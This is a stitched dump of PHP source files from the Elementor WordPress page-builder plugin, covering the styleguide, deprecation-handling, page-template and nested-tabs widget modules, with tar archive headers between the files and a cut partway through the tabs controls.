Experiments_Manager::RELEASE_STATUS_STABLE, 'new_site' => [ 'default_active' => true, 'minimum_installation_version' => '3.23.0', ], ] ); } private function add_packages( $packages ) { return array_merge( $packages, self::PACKAGES ); } private function add_styles( $styles ) { return array_merge( $styles, self::STYLES ); } private function remove_templates( $templates ) { return array_diff( $templates, [ 'responsive-bar' ] ); } private function dequeue_scripts() { wp_dequeue_script( 'elementor-responsive-bar' ); } private function dequeue_styles() { wp_dequeue_style( 'elementor-responsive-bar' ); } } modules/styleguide/module.php000064400000006464147206604650012414 0ustar00preview->is_preview(); if ( ! $is_preview ) { return; } $this->enqueue_app_initiator( $is_preview ); } ); add_action( 'elementor/controls/register', [ $this, 'register_controls' ] ); add_action( 'elementor/element/after_section_start', [ $this, 'add_styleguide_enable_controls' ], 10, 3 ); } /** * Retrieve the module name. * * @return string */ public function get_name() { return 'styleguide'; } /** * Enqueue scripts. * * @return void */ public function enqueue_main_scripts() { wp_enqueue_script( static::ASSETS_HANDLE, $this->get_js_assets_url( static::ASSETS_SRC ), [ 'elementor-editor' ], ELEMENTOR_VERSION, true ); $kit_id = Plugin::$instance->kits_manager->get_active_id(); wp_localize_script( static::ASSETS_HANDLE, 'elementorStyleguideConfig', [ 'activeKitId' => $kit_id, ] ); } public function enqueue_app_initiator( $is_preview = false ) { $dependencies = [ 'wp-i18n', 'react', 'react-dom', ]; if ( ! $is_preview ) { $dependencies[] = static::ASSETS_HANDLE; } wp_enqueue_script( static::ASSETS_HANDLE . '-app-initiator', $this->get_js_assets_url( static::ASSETS_SRC . '-app-initiator' ), $dependencies, ELEMENTOR_VERSION, true ); } public function enqueue_styles() { wp_enqueue_style( static::ASSETS_HANDLE, $this->get_css_assets_url( 'modules/' . static::ASSETS_SRC . '/' . static::ASSETS_SRC ), [], ELEMENTOR_VERSION ); } public function register_controls() { $controls_manager = Plugin::$instance->controls_manager; $controls_manager->register( new Switcher() ); } /** * Add the Enable Styleguide Preview controls to Global Colors and Global Fonts. * * @param $element * @param string $section_id * @param array $args */ public function add_styleguide_enable_controls( $element, $section_id, $args ) { if ( 'kit' !== $element->get_name() || ! in_array( $section_id, [ 'section_global_colors', 'section_text_style' ] ) ) { return; } $control_name = str_replace( 'global-', '', $args['tab'] ) . '_enable_styleguide_preview'; $element->add_control( $control_name, [ 'label' => esc_html__( 'Show global settings', 'elementor' ), 'type' => Switcher::CONTROL_TYPE, 'description' => esc_html__( 'Temporarily overlay the canvas with the style guide to preview your changes to global colors and fonts.', 'elementor' ), 'separator' => 'after', 'label_off' => esc_html__( 'No', 'elementor' ), 'label_on' => esc_html__( 'Yes', 'elementor' ), 'on_change_command' => true, ] ); } } modules/styleguide/controls/switcher.php000064400000000762147206604650014615 0ustar00deprecation = new Deprecation( ELEMENTOR_VERSION ); add_action( 'elementor/editor/before_enqueue_scripts', [ $this, 'register_scripts' ] ); add_action( 'admin_enqueue_scripts', [ $this, 'register_scripts' ] ); add_action( 'wp_enqueue_scripts', [ $this, 'register_scripts' ] ); add_action( 'elementor/frontend/after_register_scripts', [ $this, 'register_scripts' ] ); add_action( 'elementor/common/after_register_scripts', [ $this, 'register_scripts' ] ); } public function get_name() { return 'dev-tools'; } public function register_scripts() { wp_register_script( 'elementor-dev-tools', $this->get_js_assets_url( 'dev-tools' ), [], ELEMENTOR_VERSION, true ); $this->print_config( 'elementor-dev-tools' ); } protected function get_init_settings() { return [ 'isDebug' => ( defined( 'WP_DEBUG' ) && WP_DEBUG ), 'urls' => [ 'assets' => ELEMENTOR_ASSETS_URL, ], 'deprecation' => $this->deprecation->get_settings(), ]; } } modules/dev-tools/deprecation.php000064400000023015147206604650013151 0ustar00current_version = $current_version; } public function get_settings() { return [ 'soft_notices' => $this->soft_deprecated_notices, 'soft_version_count' => self::SOFT_VERSIONS_COUNT, 'hard_version_count' => self::HARD_VERSIONS_COUNT, 'current_version' => ELEMENTOR_VERSION, ]; } /** * Get total of major. * * Since `get_total_major` cannot determine how much really versions between 2.9.0 and 3.3.0 if there is 2.10.0 version for example, * versions with major2 more then 9 will be added to total. * * @since 3.1.0 * * @param array $parsed_version * * @return int */ public function get_total_major( $parsed_version ) { $major1 = $parsed_version['major1']; $major2 = $parsed_version['major2']; $major2 = $major2 > 9 ? 9 : $major2; $minor = 0; $total = intval( "{$major1}{$major2}{$minor}" ); if ( $total > 99 ) { $total = $total / 10; } else { $total = intval( $total / 10 ); } if ( $parsed_version['major2'] > 9 ) { $total += $parsed_version['major2'] - 9; } return $total; } /** * Get next version. * * @since 3.1.0 * * @param string $version * @param int $count * * @return string|false */ public function get_next_version( $version, $count = 1 ) { $version = $this->parse_version( $version ); if ( ! $version ) { return false; } $version['total'] = $this->get_total_major( $version ) + $count; $total = $version['total']; if ( $total > 9 ) { $version['major1'] = intval( $total / 10 ); $version['major2'] = $total % 10; } else { $version['major1'] = 0; $version['major2'] = $total; } $version['minor'] = 0; return $this->implode_version( $version ); } /** * Implode parsed version to string version. * * @since 3.1.0 * * @param array $parsed_version * * @return string */ public function implode_version( $parsed_version ) { $major1 = $parsed_version['major1']; $major2 = $parsed_version['major2']; $minor = $parsed_version['minor']; return "{$major1}.{$major2}.{$minor}"; } /** * Parse to an informative array. * * @since 3.1.0 * * @param string $version * * @return array|false */ public function parse_version( $version ) { $version_explode = explode( '.', $version ); $version_explode_count = count( $version_explode ); if ( $version_explode_count < 3 || $version_explode_count > 4 ) { trigger_error( 'Invalid Semantic Version string provided' ); return false; } list( $major1, $major2, $minor ) = $version_explode; $result = [ 'major1' => intval( $major1 ), 'major2' => intval( $major2 ), 'minor' => intval( $minor ), ]; if ( $version_explode_count > 3 ) { $result['build'] = $version_explode[3]; } return $result; } /** * Compare two versions, result is equal to diff of major versions. * Notice: If you want to compare between 2.9.0 and 3.3.0, and there is also a 2.10.0 version, you cannot get the right comparison * Since $this->deprecation->get_total_major cannot determine how much really versions between 2.9.0 and 3.3.0. * * @since 3.1.0 * * @param {string} $version1 * @param {string} $version2 * * @return int|false */ public function compare_version( $version1, $version2 ) { $version1 = self::parse_version( $version1 ); $version2 = self::parse_version( $version2 ); if ( $version1 && $version2 ) { $versions = [ &$version1, &$version2 ]; foreach ( $versions as &$version ) { $version['total'] = self::get_total_major( $version ); } return $version1['total'] - $version2['total']; } return false; } /** * Check Deprecation * * Checks whether the given entity is valid. If valid, this method checks whether the deprecation * should be soft (browser console notice) or hard (use WordPress' native deprecation methods). * * @since 3.1.0 * * @param string $entity - The Deprecated entity (the function/hook itself) * @param string $version * @param string $replacement Optional * @param string $base_version Optional. Default is `null` * * @return bool|void * @throws \Exception */ private function check_deprecation( $entity, $version, $replacement, $base_version = null ) { if ( null === $base_version ) { $base_version = $this->current_version; } $diff = $this->compare_version( $base_version, $version ); if ( false === $diff ) { throw new \Exception( 'Invalid deprecation diff.' ); } $print_deprecated = false; if ( defined( 'WP_DEBUG' ) && WP_DEBUG && $diff <= self::SOFT_VERSIONS_COUNT ) { // Soft deprecated. if ( ! isset( $this->soft_deprecated_notices[ $entity ] ) ) { $this->soft_deprecated_notices[ $entity ] = [ $version, $replacement, ]; } if ( defined( 'ELEMENTOR_DEBUG' ) && ELEMENTOR_DEBUG ) { $print_deprecated = true; } } return $print_deprecated; } /** * Deprecated Function * * Handles the deprecation process for functions. * * @since 3.1.0 * * @param string $function * @param string $version * @param string $replacement Optional. Default is '' * @param string $base_version Optional. Default is `null` * @throws \Exception */ public function deprecated_function( $function, $version, $replacement = '', $base_version = null ) { $print_deprecated = $this->check_deprecation( $function, $version, $replacement, $base_version ); if ( $print_deprecated ) { // PHPCS - We need to echo special characters because they can exist in function calls. _deprecated_function( $function, esc_html( $version ), $replacement ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } } /** * Deprecated Hook * * Handles the deprecation process for hooks. * * @since 3.1.0 * * @param string $hook * @param string $version * @param string $replacement Optional. Default is '' * @param string $base_version Optional. Default is `null` * @throws \Exception */ public function deprecated_hook( $hook, $version, $replacement = '', $base_version = null ) { $print_deprecated = $this->check_deprecation( $hook, $version, $replacement, $base_version ); if ( $print_deprecated ) { _deprecated_hook( esc_html( $hook ), esc_html( $version ), esc_html( $replacement ) ); } } /** * Deprecated Argument * * Handles the deprecation process for function arguments. * * @since 3.1.0 * * @param string $argument * @param string $version * @param string $replacement * @param string $message * @throws \Exception */ public function deprecated_argument( $argument, $version, $replacement = '', $message = '' ) { $print_deprecated = $this->check_deprecation( $argument, $version, $replacement ); if ( $print_deprecated ) { $message = empty( $message ) ? '' : ' ' . $message; // These arguments are escaped because they are printed later, and are not escaped when printed. $error_message_args = [ esc_html( $argument ), esc_html( $version ) ]; if ( $replacement ) { /* translators: 1: Function argument, 2: Elementor version number, 3: Replacement argument name. */ $translation_string = esc_html__( 'The %1$s argument is deprecated since version %2$s! Use %3$s instead.', 'elementor' ); $error_message_args[] = $replacement; } else { /* translators: 1: Function argument, 2: Elementor version number. */ $translation_string = esc_html__( 'The %1$s argument is deprecated since version %2$s!', 'elementor' ); } trigger_error( vsprintf( // PHPCS - $translation_string is already escaped above. $translation_string, // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped // PHPCS - $error_message_args is an array. $error_message_args // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ) . esc_html( $message ), E_USER_DEPRECATED ); } } /** * Do Deprecated Action * * A method used to run deprecated actions through Elementor's deprecation process. * * @since 3.1.0 * * @param string $hook * @param array $args * @param string $version * @param string $replacement * @param null|string $base_version * * @throws \Exception */ public function do_deprecated_action( $hook, $args, $version, $replacement = '', $base_version = null ) { if ( ! has_action( $hook ) ) { return; } $this->deprecated_hook( $hook, $version, $replacement, $base_version ); do_action_ref_array( $hook, $args ); } /** * Apply Deprecated Filter * * A method used to run deprecated filters through Elementor's deprecation process. * * @since 3.2.0 * * @param string $hook * @param array $args * @param string $version * @param string $replacement * @param null|string $base_version * * @return mixed * @throws \Exception */ public function apply_deprecated_filter( $hook, $args, $version, $replacement = '', $base_version = null ) { if ( ! has_action( $hook ) ) { // `$args` should be an array, but in order to keep BC, we need to support non-array values. if ( is_array( $args ) ) { return $args[0] ?? null; } return $args; } // BC - See the comment above. if ( ! is_array( $args ) ) { $args = [ $args ]; } // Avoid associative arrays. $args = array_values( $args ); $this->deprecated_hook( $hook, $version, $replacement, $base_version ); return apply_filters_ref_array( $hook, $args ); } } modules/page-templates/module.php000064400000026055147206604650013144 0ustar00documents->get_doc_for_frontend( get_the_ID() ); if ( $document && $document::get_property( 'support_wp_page_templates' ) ) { $page_template = $document->get_meta( '_wp_page_template' ); $template_path = $this->get_template_path( $page_template ); if ( self::TEMPLATE_THEME !== $page_template && ! $template_path && $document->is_built_with_elementor() ) { $kit_default_template = Plugin::$instance->kits_manager->get_current_settings( 'default_page_template' ); $template_path = $this->get_template_path( $kit_default_template ); } if ( $template_path ) { $template = $template_path; Plugin::$instance->inspector->add_log( 'Page Template', Plugin::$instance->inspector->parse_template_path( $template ), $document->get_edit_url() ); } } } return $template; } /** * Add WordPress templates. * * Adds Elementor templates to all the post types that support * Elementor. * * Fired by `init` action. * * @since 2.0.0 * @access public */ public function add_wp_templates_support() { $post_types = get_post_types_by_support( 'elementor' ); foreach ( $post_types as $post_type ) { add_filter( "theme_{$post_type}_templates", [ $this, 'add_page_templates' ], 10, 4 ); } } /** * Add page templates. * * Add the Elementor page templates to the theme templates. * * Fired by `theme_{$post_type}_templates` filter. * * @since 2.0.0 * @access public * @static * * @param array $page_templates Array of page templates. Keys are filenames, * checks are translated names. * * @param \WP_Theme $wp_theme * @param \WP_Post $post * * @return array Page templates. */ public function add_page_templates( $page_templates, $wp_theme, $post ) { if ( $post ) { // FIX ME: Gutenberg not send $post as WP_Post object, just the post ID. $post_id = ! empty( $post->ID ) ? $post->ID : $post; $document = Plugin::$instance->documents->get( $post_id ); if ( $document && ! $document::get_property( 'support_wp_page_templates' ) ) { return $page_templates; } } $page_templates = [ self::TEMPLATE_CANVAS => esc_html__( 'Elementor Canvas', 'elementor' ), self::TEMPLATE_HEADER_FOOTER => esc_html__( 'Elementor Full Width', 'elementor' ), self::TEMPLATE_THEME => esc_html__( 'Theme', 'elementor' ), ] + $page_templates; return $page_templates; } /** * Set print callback. * * Set the page template callback. * * @since 2.0.0 * @access public * * @param callable $callback */ public function set_print_callback( $callback ) { $this->print_callback = $callback; } /** * Print callback. * * Prints the page template content using WordPress loop. * * @since 2.0.0 * @access public */ public function print_callback() { while ( have_posts() ) : the_post(); the_content(); endwhile; } /** * Print content. * * Prints the page template content. * * @since 2.0.0 * @access public */ public function print_content() { if ( ! $this->print_callback ) { $this->print_callback = [ $this, 'print_callback' ]; } call_user_func( $this->print_callback ); } /** * Get page template path. * * Retrieve the path for any given page template. * * @since 2.0.0 * @access public * * @param string $page_template The page template name. * * @return string Page template path. */ public function get_template_path( $page_template ) { $template_path = ''; switch ( $page_template ) { case self::TEMPLATE_CANVAS: $template_path = __DIR__ . '/templates/canvas.php'; break; case self::TEMPLATE_HEADER_FOOTER: $template_path = __DIR__ . '/templates/header-footer.php'; break; } return $template_path; } /** * Register template control. * * Adds custom controls to any given document. * * Fired by `update_post_metadata` action. * * @since 2.0.0 * @access public * * @param Document $document The document instance. */ public function action_register_template_control( $document ) { if ( ( $document instanceof PageBase || $document instanceof LibraryPageDocument ) && $document::get_property( 'support_page_layout' ) ) { $this->register_template_control( $document ); } } /** * Register template control. * * Adds custom controls to any given document. * * @since 2.0.0 * @access public * * @param Document $document The document instance. * @param string $control_id Optional. The control ID. Default is `template`. */ public function register_template_control( $document, $control_id = 'template' ) { if ( ! Utils::is_cpt_custom_templates_supported() ) { return; } require_once ABSPATH . '/wp-admin/includes/template.php'; $document->start_injection( [ 'of' => 'post_status', 'fallback' => [ 'of' => 'post_title', ], ] ); $control_options = [ 'options' => array_flip( get_page_templates( null, $document->get_main_post()->post_type ) ), ]; $this->add_template_controls( $document, $control_id, $control_options ); $document->end_injection(); } // The $options variable is an array of $control_options to overwrite the default public function add_template_controls( Document $document, $control_id, $control_options ) { // Default Control Options $default_control_options = [ 'label' => esc_html__( 'Page Layout', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'default', 'options' => [ 'default' => esc_html__( 'Default', 'elementor' ), ], ]; $control_options = array_replace_recursive( $default_control_options, $control_options ); $document->add_control( $control_id, $control_options ); $document->add_control( $control_id . '_default_description', [ 'type' => Controls_Manager::RAW_HTML, 'raw' => '' . esc_html__( 'The default page template as defined in Elementor Panel → Hamburger Menu → Site Settings.', 'elementor' ) . '', 'content_classes' => 'elementor-descriptor', 'condition' => [ $control_id => 'default', ], ] ); $document->add_control( $control_id . '_theme_description', [ 'type' => Controls_Manager::RAW_HTML, 'raw' => '' . esc_html__( 'Default Page Template from your theme.', 'elementor' ) . '', 'content_classes' => 'elementor-descriptor', 'condition' => [ $control_id => self::TEMPLATE_THEME, ], ] ); $document->add_control( $control_id . '_canvas_description', [ 'type' => Controls_Manager::RAW_HTML, 'raw' => '' . esc_html__( 'No header, no footer, just Elementor', 'elementor' ) . '', 'content_classes' => 'elementor-descriptor', 'condition' => [ $control_id => self::TEMPLATE_CANVAS, ], ] ); $document->add_control( $control_id . '_header_footer_description', [ 'type' => Controls_Manager::RAW_HTML, 'raw' => '' . esc_html__( 'This template includes the header, full-width content and footer', 'elementor' ) . '', 'content_classes' => 'elementor-descriptor', 'condition' => [ $control_id => self::TEMPLATE_HEADER_FOOTER, ], ] ); if ( $document instanceof Kit ) { $document->add_control( 'reload_preview_description', [ 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'Changes will be reflected in the preview only after the page reloads.', 'elementor' ), 'content_classes' => 'elementor-descriptor', ] ); } } /** * Filter metadata update. * * Filters whether to update metadata of a specific type. * * Elementor don't allow WordPress to update the parent page template * during `wp_update_post`. * * Fired by `update_{$meta_type}_metadata` filter. * * @since 2.0.0 * @access public * * @param bool $check Whether to allow updating metadata for the given type. * @param int $object_id Object ID. * @param string $meta_key Meta key. * * @return bool Whether to allow updating metadata of a specific type. */ public function filter_update_meta( $check, $object_id, $meta_key ) { if ( '_wp_page_template' === $meta_key && Plugin::$instance->common ) { /** @var \Elementor\Core\Common\Modules\Ajax\Module $ajax */ $ajax = Plugin::$instance->common->get_component( 'ajax' ); $ajax_data = $ajax->get_current_action_data(); $is_autosave_action = $ajax_data && 'save_builder' === $ajax_data['action'] && Document::STATUS_AUTOSAVE === $ajax_data['data']['status']; // Don't allow WP to update the parent page template. // (during `wp_update_post` from page-settings or save_plain_text). if ( $is_autosave_action && ! wp_is_post_autosave( $object_id ) && Document::STATUS_DRAFT !== get_post_status( $object_id ) ) { $check = false; } } return $check; } /** * Support `wp_body_open` action, available since WordPress 5.2. * * @since 2.7.0 * @access public */ public static function body_open() { wp_body_open(); } /** * Page templates module constructor. * * Initializing Elementor page templates module. * * @since 2.0.0 * @access public */ public function __construct() { add_action( 'init', [ $this, 'add_wp_templates_support' ] ); add_filter( 'template_include', [ $this, 'template_include' ], 11 /* After Plugins/WooCommerce */ ); add_action( 'elementor/documents/register_controls', [ $this, 'action_register_template_control' ] ); add_filter( 'update_post_metadata', [ $this, 'filter_update_meta' ], 10, 3 ); } } modules/page-templates/templates/canvas.php000064400000002517147206604650015125 0ustar00frontend->add_body_class( 'elementor-template-canvas' ); ?> > <?php echo wp_get_document_title(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?> > modules_manager->get_modules( 'page-templates' )->print_content(); /** * After canvas page template content. * * Fires after the content of Elementor canvas page template. * * @since 1.0.0 */ do_action( 'elementor/page_templates/canvas/after_content' ); wp_footer(); ?> modules/page-templates/templates/header-footer.php000064400000001332147206604650016370 0ustar00frontend->add_body_class( 'elementor-template-full-width' ); get_header(); /** * Before Header-Footer page template content. * * Fires before the content of Elementor Header-Footer page template. * * @since 2.0.0 */ do_action( 'elementor/page_templates/header-footer/before_content' ); \Elementor\Plugin::$instance->modules_manager->get_modules( 'page-templates' )->print_content(); /** * After Header-Footer page template content. * * Fires after the content of Elementor Header-Footer page template. * * @since 2.0.0 */ do_action( 'elementor/page_templates/header-footer/after_content' ); get_footer(); modules/nested-tabs/module.php000064400000002653147206604650012443 0ustar00experiments->is_feature_active( NestedElementsModule::EXPERIMENT_NAME ); } public function get_name() { return 'nested-tabs'; } public function __construct() { parent::__construct(); add_action( 'elementor/frontend/after_register_styles', [ $this, 'register_styles' ] ); add_action( 'elementor/editor/before_enqueue_scripts', function () { wp_enqueue_script( $this->get_name(), $this->get_js_assets_url( $this->get_name() ), [ 'nested-elements', ], ELEMENTOR_VERSION, true ); } ); } /** * Register styles. * * At build time, Elementor compiles `/modules/nested-tabs/assets/scss/frontend.scss` * to `/assets/css/widget-nested-tabs.min.css`. * * @return void */ public function register_styles() { $direction_suffix = is_rtl() ? '-rtl' : ''; $has_custom_breakpoints = Plugin::$instance->breakpoints->has_custom_breakpoints(); wp_register_style( 'widget-nested-tabs', $this->get_frontend_file_url( "widget-nested-tabs{$direction_suffix}.min.css", $has_custom_breakpoints ), [ 'elementor-frontend' ], $has_custom_breakpoints ? null : ELEMENTOR_VERSION ); } } modules/nested-tabs/widgets/nested-tabs.php000064400000117535147206604650015043 0ustar00 'container', 'settings' => [ '_title' => sprintf( __( 'Tab #%s', 'elementor' ), $index ), 'content_width' => 'full', ], ]; } protected function get_default_children_elements() { return [ $this->tab_content_container( 1 ), $this->tab_content_container( 2 ), $this->tab_content_container( 3 ), ]; } protected function get_default_repeater_title_setting_key() { return 'tab_title'; } protected function get_default_children_title() { return esc_html__( 'Tab #%d', 'elementor' ); } protected function get_default_children_placeholder_selector() { return '.e-n-tabs-content'; } protected function get_html_wrapper_class() { return 'elementor-widget-n-tabs'; } protected function register_controls() { $start = is_rtl() ? 'right' : 'left'; $end = is_rtl() ? 'left' : 'right'; $start_logical = is_rtl() ? 'end' : 'start'; $end_logical = is_rtl() ? 'start' : 'end'; $heading_selector_non_touch_device = '{{WRAPPER}}.elementor-widget-n-tabs > .elementor-widget-container > .e-n-tabs[data-touch-mode="false"] > .e-n-tabs-heading'; $heading_selector_touch_device = '{{WRAPPER}}.elementor-widget-n-tabs > .elementor-widget-container > .e-n-tabs[data-touch-mode="true"] > .e-n-tabs-heading'; $heading_selector = '{{WRAPPER}}.elementor-widget-n-tabs > .elementor-widget-container > .e-n-tabs > .e-n-tabs-heading'; $content_selector = ':where( {{WRAPPER}}.elementor-widget-n-tabs > .elementor-widget-container > .e-n-tabs > .e-n-tabs-content ) > .e-con'; $this->start_controls_section( 'section_tabs', [ 'label' => esc_html__( 'Tabs', 'elementor' ), ] ); $repeater = new Repeater(); $repeater->add_control( 'tab_title', [ 'label' => esc_html__( 'Title', 'elementor' ), 'type' => Controls_Manager::TEXT, 'default' => esc_html__( 'Tab Title', 'elementor' ), 'placeholder' => esc_html__( 'Tab Title', 'elementor' ), 'label_block' => true, 'dynamic' => [ 'active' => true, ], ] ); $repeater->add_control( 'tab_icon', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'type' => Controls_Manager::ICONS, 'fa4compatibility' => 'icon', 'skin' => 'inline', 'label_block' => false, ] ); $repeater->add_control( 'tab_icon_active', [ 'label' => esc_html__( 'Active Icon', 'elementor' ), 'type' => Controls_Manager::ICONS, 'fa4compatibility' => 'icon', 'skin' => 'inline', 'label_block' => false, 'condition' => [ 'tab_icon[value]!' => '', ], ] ); $repeater->add_control( 'element_id', [ 'label' => esc_html__( 'CSS ID', 'elementor' ), 'type' => Controls_Manager::TEXT, 'default' => '', 'ai' => [ 'active' => false, ], 'dynamic' => [ 'active' => true, ], 'title' => esc_html__( 'Add your custom id WITHOUT the Pound key. e.g: my-id', 'elementor' ), 'style_transfer' => false, 'classes' => 'elementor-control-direction-ltr', ] ); $this->add_control( 'tabs', [ 'label' => esc_html__( 'Tabs Items', 'elementor' ), 'type' => Control_Nested_Repeater::CONTROL_TYPE, 'fields' => $repeater->get_controls(), 'default' => [ [ 'tab_title' => esc_html__( 'Tab #1', 'elementor' ), ], [ 'tab_title' => esc_html__( 'Tab #2', 'elementor' ), ], [ 'tab_title' => esc_html__( 'Tab #3', 'elementor' ), ], ], 'title_field' => '{{{ tab_title }}}', 'button_text' => 'Add Tab', ] ); $styling_block_start = '--n-tabs-direction: column; --n-tabs-heading-direction: row; --n-tabs-heading-width: initial; --n-tabs-title-flex-basis: content; --n-tabs-title-flex-shrink: 0;'; $styling_block_end = '--n-tabs-direction: column-reverse; --n-tabs-heading-direction: row; --n-tabs-heading-width: initial; --n-tabs-title-flex-basis: content; --n-tabs-title-flex-shrink: 0'; $styling_inline_end = '--n-tabs-direction: row-reverse; --n-tabs-heading-direction: column; --n-tabs-heading-width: 240px; --n-tabs-title-flex-basis: initial; --n-tabs-title-flex-shrink: initial;'; $styling_inline_start = '--n-tabs-direction: row; --n-tabs-heading-direction: column; --n-tabs-heading-width: 240px; --n-tabs-title-flex-basis: initial; --n-tabs-title-flex-shrink: initial;'; $this->add_responsive_control( 'tabs_direction', [ 'label' => esc_html__( 'Direction', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'block-start' => [ 'title' => esc_html__( 'Above', 'elementor' ), 'icon' => 'eicon-v-align-top', ], 'block-end' => [ 'title' => esc_html__( 'Below', 'elementor' ), 'icon' => 'eicon-v-align-bottom', ], 'inline-end' => [ 'title' => esc_html__( 'After', 'elementor' ), 'icon' => 'eicon-h-align-' . $end, ], 'inline-start' => [ 'title' => esc_html__( 'Before', 'elementor' ), 'icon' => 'eicon-h-align-' . $start, ], ], 'separator' => 'before', 'selectors_dictionary' => [ 'block-start' => $styling_block_start, 'block-end' => $styling_block_end, 'inline-end' => $styling_inline_end, 'inline-start' => $styling_inline_start, // Styling duplication for BC reasons. 'top' => $styling_block_start, 'bottom' => $styling_block_end, 'end' => $styling_inline_end, 'start' => $styling_inline_start, ], 'selectors' => [ '{{WRAPPER}}' => '{{VALUE}}', ], 'control_type' => 'content', ] ); $this->add_responsive_control( 'tabs_justify_horizontal', [ 'label' => esc_html__( 'Justify', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'start' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => "eicon-align-$start_logical-h", ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-align-center-h', ], 'end' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => "eicon-align-$end_logical-h", ], 'stretch' => [ 'title' => esc_html__( 'Stretch', 'elementor' ), 'icon' => 'eicon-align-stretch-h', ], ], 'selectors_dictionary' => [ 'start' => '--n-tabs-heading-justify-content: flex-start; --n-tabs-title-width: initial; --n-tabs-title-height: initial; --n-tabs-title-align-items: center; --n-tabs-title-flex-grow: 0;', 'center' => '--n-tabs-heading-justify-content: center; --n-tabs-title-width: initial; --n-tabs-title-height: initial; --n-tabs-title-align-items: center; --n-tabs-title-flex-grow: 0;', 'end' => '--n-tabs-heading-justify-content: flex-end; --n-tabs-title-width: initial; --n-tabs-title-height: initial; --n-tabs-title-align-items: center; --n-tabs-title-flex-grow: 0;', 'stretch' => '--n-tabs-heading-justify-content: initial; --n-tabs-title-width: 100%; --n-tabs-title-height: initial; --n-tabs-title-align-items: center; --n-tabs-title-flex-grow: 1;', ], 'selectors' => [ '{{WRAPPER}}' => '{{VALUE}}', ], 'condition' => [ 'tabs_direction' => [ '', 'block-start', 'block-end', 'top', 'bottom', ], ], 'frontend_available' => true, ] ); $this->add_responsive_control( 'tabs_justify_vertical', [ 'label' => esc_html__( 'Justify', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'start' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => 'eicon-align-start-v', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-align-center-v', ], 'end' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => 'eicon-align-end-v', ], 'stretch' => [ 'title' => esc_html__( 'Stretch', 'elementor' ), 'icon' => 'eicon-align-stretch-v', ], ], 'selectors_dictionary' => [ 'start' => '--n-tabs-heading-justify-content: flex-start; --n-tabs-title-width: initial; --n-tabs-title-height: initial; --n-tabs-title-align-items: initial; --n-tabs-heading-wrap: wrap; --n-tabs-title-flex-basis: content', 'center' => '--n-tabs-heading-justify-content: center; --n-tabs-title-width: initial; --n-tabs-title-height: initial; --n-tabs-title-align-items: initial; --n-tabs-heading-wrap: wrap; --n-tabs-title-flex-basis: content', 'end' => '--n-tabs-heading-justify-content: flex-end; --n-tabs-title-width: initial; --n-tabs-title-height: initial; --n-tabs-title-align-items: initial; --n-tabs-heading-wrap: wrap; --n-tabs-title-flex-basis: content', 'stretch' => '--n-tabs-heading-justify-content: flex-start; --n-tabs-title-width: initial; --n-tabs-title-height: 100%; --n-tabs-title-align-items: center; --n-tabs-heading-wrap: nowrap; --n-tabs-title-flex-basis: auto', ], 'selectors' => [ '{{WRAPPER}}' => '{{VALUE}}', ], 'condition' => [ 'tabs_direction' => [ 'inline-start', 'inline-end', 'start', 'end', ], ], ] ); $this->add_responsive_control( 'tabs_width', [ 'label' => esc_html__( 'Width', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ '%' => [ 'min' => 10, 'max' => 50, ], 'px' => [ 'min' => 20, 'max' => 600, ], ], 'default' => [ 'unit' => '%', ], 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}}' => '--n-tabs-heading-width: {{SIZE}}{{UNIT}}', ], 'condition' => [ 'tabs_direction' => [ 'inline-start', 'inline-end', 'start', 'end', ], ], ] ); $this->add_responsive_control( 'title_alignment', [ 'label' => esc_html__( 'Align Title', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'start' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => 'eicon-text-align-left', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-text-align-center', ], 'end' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => 'eicon-text-align-right', ], ], 'selectors_dictionary' => [ 'start' => '--n-tabs-title-justify-content: flex-start; --n-tabs-title-align-items: flex-start; --n-tabs-title-text-align: start;', 'center' => '--n-tabs-title-justify-content: center; --n-tabs-title-align-items: center; --n-tabs-title-text-align: center;', 'end' => '--n-tabs-title-justify-content: flex-end; --n-tabs-title-align-items: flex-end; --n-tabs-title-text-align: end;', ], 'selectors' => [ '{{WRAPPER}}' => '{{VALUE}}', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_tabs_responsive', [ 'label' => esc_html__( 'Additional Settings', 'elementor' ), ] ); $this->add_responsive_control( 'horizontal_scroll', [ 'label' => esc_html__( 'Horizontal Scroll', 'elementor' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Note: Scroll tabs if they don’t fit into their parent container.', 'elementor' ), 'options' => [ 'disable' => esc_html__( 'Disable', 'elementor' ), 'enable' => esc_html__( 'Enable', 'elementor' ), ], 'default' => 'disable', 'selectors_dictionary' => [ 'disable' => '--n-tabs-heading-wrap: wrap; --n-tabs-heading-overflow-x: initial; --n-tabs-title-white-space: initial;', 'enable' => '--n-tabs-heading-wrap: nowrap; --n-tabs-heading-overflow-x: scroll; --n-tabs-title-white-space: nowrap;', ], 'selectors' => [ '{{WRAPPER}}' => '{{VALUE}}', ], 'frontend_available' => true, 'condition' => [ 'tabs_direction' => [ '', 'block-start', 'block-end', 'top', 'bottom', ], ], ] ); $dropdown_options = [ 'none' => esc_html__( 'None', 'elementor' ), ]; $excluded_breakpoints = [ 'laptop', 'tablet_extra', 'widescreen', ]; foreach ( 